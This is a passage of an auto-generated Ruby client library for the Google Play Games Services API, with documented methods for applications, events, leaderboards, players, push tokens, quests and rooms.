# application is not available for the specified platformType, the returned
# response will not include any instance data.
# @param [String] application_id
# The application ID from the Google Play developer console.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] platform_type
# Restrict application details returned to the specific platform.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Application] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Application]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_application(application_id, language: nil, platform_type: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'applications/{applicationId}', options)
command.response_representation = Google::Apis::GamesV1::Application::Representation
command.response_class = Google::Apis::GamesV1::Application
command.params['applicationId'] = application_id unless application_id.nil?
command.query['language'] = language unless language.nil?
command.query['platformType'] = platform_type unless platform_type.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Indicate that the the currently authenticated user is playing your application.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def played_application(fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'applications/played', options)
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Verifies the auth token provided with this request is for the application with
# the specified ID, and returns the ID of the player it was granted for.
# @param [String] application_id
# The application ID from the Google Play developer console.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ApplicationVerifyResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ApplicationVerifyResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def verify_application(application_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'applications/{applicationId}/verify', options)
command.response_representation = Google::Apis::GamesV1::ApplicationVerifyResponse::Representation
command.response_class = Google::Apis::GamesV1::ApplicationVerifyResponse
command.params['applicationId'] = application_id unless application_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Returns a list showing the current progress on events in this application for
# the currently authenticated user.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of events to return in the response, used for paging. For
# any response, the actual number of events to return may be less than the
# specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListPlayerEventResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListPlayerEventResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_event_by_player(language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'events', options)
command.response_representation = Google::Apis::GamesV1::ListPlayerEventResponse::Representation
command.response_class = Google::Apis::GamesV1::ListPlayerEventResponse
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Returns a list of the event definitions in this application.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of event definitions to return in the response, used for
# paging. For any response, the actual number of event definitions to return may
# be less than the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListEventDefinitionResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListEventDefinitionResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_event_definitions(language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'eventDefinitions', options)
command.response_representation = Google::Apis::GamesV1::ListEventDefinitionResponse::Representation
command.response_class = Google::Apis::GamesV1::ListEventDefinitionResponse
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Records a batch of changes to the number of times events have occurred for the
# currently authenticated user of this application.
# @param [Google::Apis::GamesV1::EventRecordRequest] event_record_request_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::UpdateEventResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::UpdateEventResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def record_event(event_record_request_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'events', options)
command.request_representation = Google::Apis::GamesV1::EventRecordRequest::Representation
command.request_object = event_record_request_object
command.response_representation = Google::Apis::GamesV1::UpdateEventResponse::Representation
command.response_class = Google::Apis::GamesV1::UpdateEventResponse
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Retrieves the metadata of the leaderboard with the given ID.
# @param [String] leaderboard_id
# The ID of the leaderboard.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Leaderboard] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Leaderboard]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_leaderboard(leaderboard_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'leaderboards/{leaderboardId}', options)
command.response_representation = Google::Apis::GamesV1::Leaderboard::Representation
command.response_class = Google::Apis::GamesV1::Leaderboard
command.params['leaderboardId'] = leaderboard_id unless leaderboard_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Lists all the leaderboard metadata for your application.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of leaderboards to return in the response. For any response,
# the actual number of leaderboards returned may be less than the specified
# maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListLeaderboardResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListLeaderboardResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_leaderboards(language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'leaderboards', options)
command.response_representation = Google::Apis::GamesV1::ListLeaderboardResponse::Representation
command.response_class = Google::Apis::GamesV1::ListLeaderboardResponse
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Return the metagame configuration data for the calling application.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::MetagameConfig] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::MetagameConfig]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_metagame_config(fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'metagameConfig', options)
command.response_representation = Google::Apis::GamesV1::MetagameConfig::Representation
command.response_class = Google::Apis::GamesV1::MetagameConfig
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# List play data aggregated per category for the player corresponding to
# playerId.
# @param [String] player_id
# A player ID. A value of me may be used in place of the authenticated player's
# ID.
# @param [String] collection
# The collection of categories for which data will be returned.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of category resources to return in the response, used for
# paging. For any response, the actual number of category resources returned may
# be less than the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListCategoryResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListCategoryResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_metagame_categories_by_player(player_id, collection, language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/{playerId}/categories/{collection}', options)
command.response_representation = Google::Apis::GamesV1::ListCategoryResponse::Representation
command.response_class = Google::Apis::GamesV1::ListCategoryResponse
command.params['playerId'] = player_id unless player_id.nil?
command.params['collection'] = collection unless collection.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Retrieves the Player resource with the given ID. To retrieve the player for
# the currently authenticated user, set playerId to me.
# @param [String] player_id
# A player ID. A value of me may be used in place of the authenticated player's
# ID.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Player] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Player]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_player(player_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/{playerId}', options)
command.response_representation = Google::Apis::GamesV1::Player::Representation
command.response_class = Google::Apis::GamesV1::Player
command.params['playerId'] = player_id unless player_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Get the collection of players for the currently authenticated user.
# @param [String] collection
# Collection of players being retrieved
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of player resources to return in the response, used for
# paging. For any response, the actual number of player resources returned may
# be less than the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListPlayerResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListPlayerResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_players(collection, language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/me/players/{collection}', options)
command.response_representation = Google::Apis::GamesV1::ListPlayerResponse::Representation
command.response_class = Google::Apis::GamesV1::ListPlayerResponse
command.params['collection'] = collection unless collection.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Removes a push token for the current user and application. Removing a non-
# existent push token will report success.
# @param [Google::Apis::GamesV1::PushTokenId] push_token_id_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def remove_pushtoken(push_token_id_object = nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'pushtokens/remove', options)
command.request_representation = Google::Apis::GamesV1::PushTokenId::Representation
command.request_object = push_token_id_object
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Registers a push token for the current user and application.
# @param [Google::Apis::GamesV1::PushToken] push_token_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def update_pushtoken(push_token_object = nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'pushtokens', options)
command.request_representation = Google::Apis::GamesV1::PushToken::Representation
command.request_object = push_token_object
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Report that a reward for the milestone corresponding to milestoneId for the
# quest corresponding to questId has been claimed by the currently authorized
# user.
# @param [String] quest_id
# The ID of the quest.
# @param [String] milestone_id
# The ID of the milestone.
# @param [Fixnum] request_id
# A numeric ID to ensure that the request is handled correctly across retries.
# Your client application must generate this ID randomly.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [NilClass] No result returned for this method
# @yieldparam err [StandardError] error object if request failed
#
# @return [void]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def claim_quest_milestone(quest_id, milestone_id, request_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:put, 'quests/{questId}/milestones/{milestoneId}/claim', options)
command.params['questId'] = quest_id unless quest_id.nil?
command.params['milestoneId'] = milestone_id unless milestone_id.nil?
command.query['requestId'] = request_id unless request_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Indicates that the currently authorized user will participate in the quest.
# @param [String] quest_id
# The ID of the quest.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Quest] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Quest]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def accept_quest(quest_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'quests/{questId}/accept', options)
command.response_representation = Google::Apis::GamesV1::Quest::Representation
command.response_class = Google::Apis::GamesV1::Quest
command.params['questId'] = quest_id unless quest_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Get a list of quests for your application and the currently authenticated
# player.
# @param [String] player_id
# A player ID. A value of me may be used in place of the authenticated player's
# ID.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of quest resources to return in the response, used for
# paging. For any response, the actual number of quest resources returned may be
# less than the specified maxResults. Acceptable values are 1 to 50, inclusive. (
# Default: 50).
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListQuestResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListQuestResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_quests(player_id, language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/{playerId}/quests', options)
command.response_representation = Google::Apis::GamesV1::ListQuestResponse::Representation
command.response_class = Google::Apis::GamesV1::ListQuestResponse
command.params['playerId'] = player_id unless player_id.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Checks whether the games client is out of date.
# @param [String] client_revision
# The revision of the client SDK used by your application. Format:
# [PLATFORM_TYPE]:[VERSION_NUMBER]. Possible values of PLATFORM_TYPE are:
#
# - "ANDROID" - Client is running the Android SDK.
# - "IOS" - Client is running the iOS SDK.
# - "WEB_APP" - Client is running as a Web App.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::CheckRevisionResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::CheckRevisionResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def check_revision(client_revision, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'revisions/check', options)
command.response_representation = Google::Apis::GamesV1::CheckRevisionResponse::Representation
command.response_class = Google::Apis::GamesV1::CheckRevisionResponse
command.query['clientRevision'] = client_revision unless client_revision.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Create a room. For internal use by the Games SDK only. Calling this method
# directly is unsupported.
# @param [Google::Apis::GamesV1::CreateRoomRequest] create_room_request_object
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Room] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Room]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_room(create_room_request_object = nil, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'rooms/create', options)
command.request_representation = Google::Apis::GamesV1::CreateRoomRequest::Representation
command.request_object = create_room_request_object
command.response_representation = Google::Apis::GamesV1::Room::Representation
command.response_class = Google::Apis::GamesV1::Room
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Decline an invitation to join a room. For internal use by the Games SDK only.
# Calling this method directly is unsupported.
# @param [String] room_id
# The ID of the room.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::Room] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::Room]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def decline_room(room_id, language: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'rooms/{roomId}/decline', options)
command.response_representation = Google::Apis::GamesV1::Room::Representation
command.response_class = Google::Apis::GamesV1::Room
command.params['roomId'] = room_id unless room_id.nil?
command.query['language'] = language unless language.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Dismiss an invitation to join a room. For internal use by the Games SDK only.
# Calling this method directly is unsupported.
# @param [String] room_id
# The ID of the room.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
